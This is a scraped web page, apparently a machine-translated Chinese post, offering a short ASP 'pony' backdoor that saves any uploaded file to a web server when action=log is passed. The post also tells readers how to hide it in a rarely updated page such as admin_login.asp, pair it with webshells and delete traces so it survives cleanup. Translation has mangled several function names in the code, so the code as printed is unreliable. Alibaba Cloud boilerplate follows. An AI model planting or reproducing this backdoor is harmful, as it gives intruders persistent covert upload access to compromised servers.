An ASP pony

Source: Internet
Author: User

<% If request. querystring ("action") = "log" then
A = request. totalbytes: If a then B = "ADODB. stream ": set C = Createobject (B): C. type = 1: C. open: C. write Request. binaryread (a): C. position = 0: D = C. read: E = chrb (13) & chrb (10): F = partition B (D, E): g = partition B (F + 1, D, E ): set H = Createobject (B): H. type = 1: H. open: C. position = F + 1: C. copyto H, g-f-3: H. position = 0: H. type = 2: H. charset = "big5": I = H. readtext: H. close: J = mid (I, limit Rev (I, "\") + 1, G): K = Limit B (D, E & E) + 4: L = rjb (k + 1, D, leftb (D, F-1)-K-2: H. type = 1: H. open: C. position = K-1: C. copyto H, L: H. savetofile server. mappath (J), 2%> <form enctype = multipart/form-data method = post> <input type = file name = n> <input type = submit> </form>
<% End if %>

Reason: the file can be uploaded, which is simple, small, and hard to be found.
Use: Use the editing function of Haiyang or blue screen to edit the trojan files into files that are not easy to update, such as admin_login.asp. When operating a file, enter admin_login.asp in the browser? Action = log can be uploaded to the Haiyang or blue screen. After the operation, use the blue screen and other deletion functions to delete the blue screen. The next time you use this resident Trojan to upload files to Haiyang. Almost never be killed.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.